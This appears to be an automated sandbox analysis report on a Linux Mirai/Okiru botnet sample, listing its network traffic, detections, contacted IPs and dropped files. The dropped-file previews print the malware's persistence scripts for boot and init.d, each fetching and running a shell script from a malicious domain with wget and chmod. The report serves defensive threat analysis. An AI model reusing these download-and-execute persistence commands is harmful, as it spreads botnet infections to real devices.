Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 58336 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 8088
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 8088

Source: /tmp/tVdq8lEt3e.elf (PID: 6221)

Queries kernel information via 'uname':

Jump to behavior

Source: tVdq8lEt3e.elf, 6221.1.00007ffc7cb44000.00007ffc7cb65000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.uZ0VNC:E
Source: tVdq8lEt3e.elf, 6221.1.000055c359eb7000.000055c35a005000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: tVdq8lEt3e.elf, 6221.1.00007ffc7cb44000.00007ffc7cb65000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.uZ0VNC
Source: tVdq8lEt3e.elf, 6221.1.000055c359eb7000.000055c35a005000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: tVdq8lEt3e.elf, 6221.1.00007ffc7cb44000.00007ffc7cb65000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: tVdq8lEt3e.elf, 6221.1.00007ffc7cb44000.00007ffc7cb65000.rw-.sdmp	Binary or memory string: wx86_64/usr/bin/qemu-arm/tmp/tVdq8lEt3e.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/tVdq8lEt3e.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: tVdq8lEt3e.elf, type: SAMPLE
Source: Yara match	File source: 6221.1.00007f2a28017000.00007f2a28031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tVdq8lEt3e.elf PID: 6221, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: tVdq8lEt3e.elf, type: SAMPLE
Source: Yara match	File source: 6221.1.00007f2a28017000.00007f2a28031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tVdq8lEt3e.elf PID: 6221, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: tVdq8lEt3e.elf, type: SAMPLE
Source: Yara match	File source: 6221.1.00007f2a28017000.00007f2a28031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tVdq8lEt3e.elf PID: 6221, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: tVdq8lEt3e.elf, type: SAMPLE
Source: Yara match	File source: 6221.1.00007f2a28017000.00007f2a28031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: tVdq8lEt3e.elf PID: 6221, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
tVdq8lEt3e.elf	45%	ReversingLabs	Linux.Trojan.Gafgyt
tVdq8lEt3e.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

Source	Detection	Scanner	Label	Link
/etc/rc.local	0%	ReversingLabs

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://82.207.23.152:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://32.181.180.75:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://182.203.244.103:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://49.179.51.163:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://244.58.211.204:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://123.191.93.71:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://pen.gorillafirewall.su/x86_32.nn;	100%	Avira URL Cloud	malware
http://138.85.232.54:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://77.210.59.160:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://184.87.98.222:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://213.49.53.56:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://33.247.222.246:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://62.49.198.58:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://187.125.238.133:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://254.30.40.98:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://157.173.158.186:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://52.160.110.126:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://103.108.227.184:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://114.142.230.93:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://208.35.19.171:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://100.179.115.147:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://31.240.32.116:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://204.235.25.185:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://142.172.118.111:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://192.126.40.239:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://133.194.79.118:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://186.99.201.69:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://78.220.79.118:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://pen.gorillafirewall.su/	100%	Avira URL Cloud	malware
http://118.143.223.55:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://91.185.226.47:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://254.41.12.18:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://61.221.100.106:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://22.172.178.76:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://199.119.126.228:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://197.159.201.249:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://112.144.139.77:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://140.203.230.141:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://99.17.152.234:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://81.209.218.53:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://94.201.90.86:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://219.253.93.123:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe
http://109.161.191.41:8088/ws/v1/cluster/apps	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://32.181.180.75:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://82.207.23.152:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://49.179.51.163:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://244.58.211.204:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://138.85.232.54:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://182.203.244.103:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://123.191.93.71:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://184.87.98.222:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://77.210.59.160:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://213.49.53.56:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://33.247.222.246:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://62.49.198.58:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://254.30.40.98:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://187.125.238.133:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://157.173.158.186:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://103.108.227.184:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://52.160.110.126:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://114.142.230.93:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://208.35.19.171:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://100.179.115.147:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://31.240.32.116:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://142.172.118.111:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://133.194.79.118:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://204.235.25.185:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://192.126.40.239:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://186.99.201.69:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://78.220.79.118:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://118.143.223.55:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://91.185.226.47:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://61.221.100.106:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://99.17.152.234:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://81.209.218.53:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://254.41.12.18:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://219.253.93.123:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://140.203.230.141:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://112.144.139.77:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://94.201.90.86:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://199.119.126.228:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://197.159.201.249:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://22.172.178.76:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown
http://109.161.191.41:8088/ws/v1/cluster/apps	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pen.gorillafirewall.su/x86_32.nn;	tVdq8lEt3e.elf	true	Avira URL Cloud: malware	unknown
http://pen.gorillafirewall.su/	profile.12.dr, inittab.12.dr, tVdq8lEt3e.elf.31.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
155.39.86.162	unknown	United States	7423	PUTNAMFTUS	false
109.161.191.41	unknown	Bahrain	31452	ZAIN-BH-ASBH	false
108.174.117.170	unknown	United States	21632	CYBERNET1US	false
186.99.201.69	unknown	Colombia	701	UUNETUS	false
62.49.198.58	unknown	United Kingdom	2529	DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	false
151.210.79.118	unknown	United States	11003	PANDGUS	false
100.179.115.147	unknown	United States	21928	T-MOBILE-AS21928US	false
137.226.163.11	unknown	Germany	47610	RWTH-ASDE	false
27.174.203.118	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
96.199.227.179	unknown	United States	7922	COMCAST-7922US	false
222.102.85.235	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
201.48.232.174	unknown	Brazil	16735	ALGARTELECOMSABR	false
184.87.98.222	unknown	United States	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	false
78.220.79.118	unknown	France	12322	PROXADFR	false
197.159.201.249	unknown	Cote D'ivoire	37381	VIPNETCI	false
93.123.85.166	unknown	Bulgaria	43561	NET1-ASBG	true
8.182.34.156	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
5.178.90.206	unknown	Italy	59919	BRAINBOXIT	false
244.58.211.204	unknown	Reserved	unknown	unknown	false
169.103.217.37	unknown	United States	37611	AfrihostZA	false
118.143.223.55	unknown	Hong Kong	9304	HUTCHISON-AS-APHGCGlobalCommunicationsLimitedHK	false
99.17.152.234	unknown	United States	7018	ATT-INTERNET4US	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false
140.203.230.141	unknown	Ireland	1213	HEANETIE	false
76.204.79.118	unknown	United States	7018	ATT-INTERNET4US	false
49.179.51.163	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
219.253.93.123	unknown	Korea Republic of	18302	SKG_NW-AS-KRSKTelecomKR	false
52.160.110.126	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
154.59.31.127	unknown	United States	174	COGENT-174US	false
91.92.246.113	unknown	Bulgaria	34368	THEZONEBG	true
31.240.32.116	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
94.201.90.86	unknown	United Arab Emirates	15802	DU-AS1AE	false
254.41.12.18	unknown	Reserved	unknown	unknown	false
112.144.139.77	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
82.207.23.152	unknown	Ukraine	6849	UKRTELNETUA	false
187.125.238.133	unknown	Brazil	7738	TelemarNorteLesteSABR	false
107.87.27.184	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
61.221.100.106	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
213.49.53.56	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
25.192.234.141	unknown	United Kingdom	7922	COMCAST-7922US	false
254.30.40.98	unknown	Reserved	unknown	unknown	false
94.220.79.118	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
182.203.244.103	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
208.35.19.171	unknown	United States	25612	DSL-EXPRESSUS	false
56.83.140.120	unknown	United States	2686	ATGS-MMD-ASUS	false
192.126.40.239	unknown	Finland	394122	DEBEVOISEUS	false
138.85.232.54	unknown	United States	8147	ASERICYUS	false
207.65.222.48	unknown	United States	2527	SO-NETSo-netEntertainmentCorporationJP	false
129.177.89.220	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
116.61.241.191	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
204.235.25.185	unknown	United States	11714	NETWORKNEBRASKAUS	false
142.172.118.111	unknown	Canada	7122	MTS-ASNCA	false
106.99.156.126	unknown	Korea Republic of	17853	LGTELECOM-AS-KRLGTELECOMKR	false
157.173.158.186	unknown	United Kingdom	22192	SSHENETUS	false
242.135.104.48	unknown	Reserved	unknown	unknown	false
185.229.214.63	unknown	Spain	39640	AS-AVEASCOES	false
32.181.180.75	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
123.191.93.71	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
45.106.155.12	unknown	Egypt	37069	MOBINILEG	false
89.237.185.118	unknown	Saudi Arabia	29255	ZAJIL-ASSA	false
91.185.226.47	unknown	Russian Federation	21487	SAKHATELECOM-ASRU	false
33.247.222.246	unknown	United States	2686	ATGS-MMD-ASUS	false
114.142.230.93	unknown	Guam	9246	GTA-APTeleguamHoldingsLLCGU	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
133.194.79.118	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
190.32.31.149	unknown	Panama	11556	CableWirelessPanamaPA	false
81.209.218.53	unknown	European Union	13237	LAMBDANET-ASEuropeanBackboneofAS13237DE	false
152.160.225.174	unknown	United States	54163	AHOSTINGUS	false
154.216.17.220	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	true
45.202.35.64	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	true
22.172.178.76	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
77.210.59.160	unknown	Spain	12430	VODAFONE_ESES	false
253.185.142.162	unknown	Reserved	unknown	unknown	false
117.161.23.95	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
103.108.227.184	unknown	China	139021	WEST263GO-HKWest263InternationalLimitedHK	false
115.202.13.183	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
200.141.63.82	unknown	Brazil	7738	TelemarNorteLesteSABR	false
199.119.126.228	unknown	United States	1610	CONTE-25-ASNUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
91.189.91.43	mlnZfOifRX.elf	Get hash	malicious	Okiru	Browse
	xYOvkWBmvL.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5660.5605.13970.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5074.23844.14740.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5560.14885.16850.elf	Get hash	malicious	Unknown	Browse
	bc.elf	Get hash	malicious	Sliver	Browse
	SecuriteInfo.com.Linux.Mirai.1599.9143.25129.elf	Get hash	malicious	Unknown	Browse
	rebirth.mips.elf	Get hash	malicious	Gafgyt	Browse
	rebirth.spc.elf	Get hash	malicious	Gafgyt	Browse
93.123.85.166	JEXsDKnKx4.elf	Get hash	malicious	Mirai, Okiru	Browse
	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse
	mlnZfOifRX.elf	Get hash	malicious	Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai	Browse
	arm7.nn.elf	Get hash	malicious	Mirai	Browse
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	bot.x86.elf	Get hash	malicious	Mirai, Okiru	Browse
	bot.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse
	C0fYXq2wuB.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	YHXcsKTUpT.elf	Get hash	malicious	Gafgyt, Mirai	Browse
91.189.91.42	mlnZfOifRX.elf	Get hash	malicious	Okiru	Browse
	SecuriteInfo.com.Linux.Siggen.9999.31545.13595.elf	Get hash	malicious	Mirai	Browse
	xYOvkWBmvL.elf	Get hash	malicious	Unknown	Browse
	x86_64.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5660.5605.13970.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5074.23844.14740.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5560.14885.16850.elf	Get hash	malicious	Unknown	Browse
	bc.elf	Get hash	malicious	Sliver	Browse
	SecuriteInfo.com.Linux.Mirai.1599.9143.25129.elf	Get hash	malicious	Unknown	Browse
	rebirth.mips.elf	Get hash	malicious	Gafgyt	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ZAIN-BH-ASBH	CQic0Eq1e2.elf	Get hash	malicious	Mirai	Browse	109.161.192.78
	jDK4KtkjAq.elf	Get hash	malicious	Mirai, Moobot	Browse	109.161.187.170
	SecuriteInfo.com.Linux.Siggen.9999.10.30251.elf	Get hash	malicious	Mirai	Browse	109.161.179.96
	Rakitin.x86.elf	Get hash	malicious	Mirai	Browse	109.161.179.98
	BpPA9BfC3c.elf	Get hash	malicious	Mirai	Browse	109.161.180.94
	kMeKVqIKIf.elf	Get hash	malicious	Unknown	Browse	109.161.139.221
	xmg.x86.elf	Get hash	malicious	Mirai	Browse	109.161.179.92
	CLDy30IIDG.elf	Get hash	malicious	Mirai	Browse	109.161.180.94
	HJoGTbixlE.dll	Get hash	malicious	Wannacry	Browse	109.161.147.210
	uKiA4Xh5Yc.dll	Get hash	malicious	Wannacry	Browse	109.161.192.72
CYBERNET1US	I5C1qdlfNX.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	eo8I24hU7O.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	3ozXk2Dztg.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	PCJm676gWx.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	3fKWsmaAgm.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	IsziF22Li4.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	IsziF22Li4.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	panther.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	panther.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
	roben.dll	Get hash	malicious	TrickBot	Browse	216.166.148.187
DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	SecuriteInfo.com.Linux.Siggen.9999.28313.2324.elf	Get hash	malicious	Mirai	Browse	194.159.233.232
	SecuriteInfo.com.Linux.Siggen.9999.28377.24731.elf	Get hash	malicious	Mirai	Browse	83.105.109.50
	firmware.powerpc.elf	Get hash	malicious	Unknown	Browse	158.156.7.139
	botx.mips.elf	Get hash	malicious	Mirai	Browse	83.107.159.63
	BpjVfMOJGI.elf	Get hash	malicious	Mirai	Browse	83.104.119.233
	XAjV9ghiIb.elf	Get hash	malicious	Mirai, Moobot	Browse	83.107.248.145
	mirai.arm.elf	Get hash	malicious	Mirai	Browse	62.56.73.130
	yIRn1ZmsQF.elf	Get hash	malicious	Unknown	Browse	83.107.147.76
	yLoLnA3XkD.elf	Get hash	malicious	Mirai	Browse	80.177.205.135
	XfStyH0fNY.elf	Get hash	malicious	Mirai	Browse	195.173.57.7
UUNETUS	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse	194.178.64.118
	SecuriteInfo.com.Linux.Siggen.9999.5151.15671.elf	Get hash	malicious	Mirai	Browse	65.219.27.212
	SecuriteInfo.com.Linux.Siggen.9999.15962.9862.elf	Get hash	malicious	Mirai	Browse	62.17.3.169
	SecuriteInfo.com.Linux.Siggen.9999.14022.17442.elf	Get hash	malicious	Mirai	Browse	72.66.20.171
	SecuriteInfo.com.Linux.Siggen.9999.11579.20419.elf	Get hash	malicious	Mirai	Browse	96.238.17.241
	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse	100.70.20.69
	https://myworkspace10fa5.myclickfunnels.com/onlinereview--00e63?preview=true	Get hash	malicious	Unknown	Browse	146.190.184.197
	https://myworkspace10fa5.myclickfunnels.com/onlinereview--00e63?preview=true	Get hash	malicious	Unknown	Browse	146.190.184.197
	https://myworkspace10fa5.myclickfunnels.com/onlinereview--00e63?preview=true	Get hash	malicious	Unknown	Browse	146.190.184.197
	v548OdIeBZ.exe	Get hash	malicious	MyDoom	Browse	194.98.92.7

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/rc.local	GTWXkCrjA1.elf	Get hash	malicious	Mirai, Okiru	Browse
	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse
	7MxrefODr5.elf	Get hash	malicious	Mirai, Okiru	Browse
	pO9NAGXywW.elf	Get hash	malicious	Mirai, Okiru	Browse
	U8JEOF0Yx7.elf	Get hash	malicious	Mirai, Okiru	Browse
	arm5.nn.elf	Get hash	malicious	Unknown	Browse
	arm.nn.elf	Get hash	malicious	Unknown	Browse
	m68k.nn.elf	Get hash	malicious	Mirai	Browse
	mips.nn.elf	Get hash	malicious	Unknown	Browse
	arm7.nn.elf	Get hash	malicious	Mirai	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	131
Entropy (8bit):	4.651262329620505
Encrypted:	false
SSDEEP:	3:KPJRXVH12FDDoCQALjWQegRILbaaFOdFXa5O:WJR/2dorwFCbaaeXCO
MD5:	1A19F374683843F834AD5D18944098D8
SHA1:	CAF89F148A69EE49D8E7D5A4098518ACA1B6ADF1
SHA-256:	900AA812700E2D8B117DDBFDAF167F05D75068798A8A4C077E15E86B153CE3CF
SHA-512:	8F61F96718E1F7BF6DCDF99DC180C21C49B1A1061DB4BB9B4005FFE57A2537CEAD41F89F62209BB70BB054F106BE38AD6864AECE9B3A1E3F6DFAB52490E46F34
Malicious:	false
Reputation:	low
Preview:	run bootcmd_mmc0; /tmp/tVdq8lEt3e.elf && wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/mybinary

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	118
Entropy (8bit):	4.639943975639802
Encrypted:	false
SSDEEP:	3:TKH4vZKVH12FDvSDRFbALjWQegRILpaKB0dFLoKE0:h8/2xSXbwFCzBeLXE0
MD5:	F5AA55C27155B4D30FEB9EBAFA5A10B2
SHA1:	1F9C3F9F0528E513B5E68032648CBA766959B082
SHA-256:	E4A919DE7B2A0B788B3FD37E192183A9768D1F87C0552A2B6BC8BFAEC3FCF3FB
SHA-512:	F722C86D9EC9C6E14802647BEF3E70EAA9EF838C518412E8BDCF1C3425C6561031A04DCC86ACDFA9531F68745FB1DC8B2BFBA96922599006260BAB019E90005E
Malicious:	true
Reputation:	low
Preview:	#!/bin/sh./tmp/tVdq8lEt3e.elf &.wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/init.d/tVdq8lEt3e.elf

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.617111005753294
Encrypted:	false
SSDEEP:	12:QRkxS/NxkjCvdpgUJgjvM/jCvQFOmKNydSRucSOyd3:uLIJ4SYOM3
MD5:	C16C859101E051338798AE012BEF6711
SHA1:	FD9228B357AAC76557B55DC84BBA0EFB5E169335
SHA-256:	CC4C3777658FA2822B8FA3B1104E406A00420AC38AD02FCFDE7BB40FB3EDA598
SHA-512:	38689DBBA29504AC49080CD996C7A1C191D6BEE3C8953010A488CB83F118DC46A3D6DC4246AEBD38295B7D33D4348CCAD84D5D3D5AC6A47A70E4E2EA60B8C312
Malicious:	true
Reputation:	low
Preview:	#!/bin/sh.# /etc/init.d/tVdq8lEt3e.elf..case "" in. start). echo 'Starting tVdq8lEt3e.elf'. /tmp/tVdq8lEt3e.elf &. wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping tVdq8lEt3e.elf'. killall tVdq8lEt3e.elf. ;;. restart). /bin/sh stop. /bin/sh start. ;;. *). echo "Usage: /bin/sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/inittab

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	123
Entropy (8bit):	4.564137232954873
Encrypted:	false
SSDEEP:	3:nAWu5zH12FDDoCQALjWQegRILbaaFOdFXa5O:A32dorwFCbaaeXCO
MD5:	963027824AE948BA2D3D2C58ABF777C3
SHA1:	97225C2CE07FD3D30F691959E3D085096E2FEFAB
SHA-256:	D3FFC3B4E0432B02AA185247D32A391DD6BB99CD8385232616E004DDB1841D37
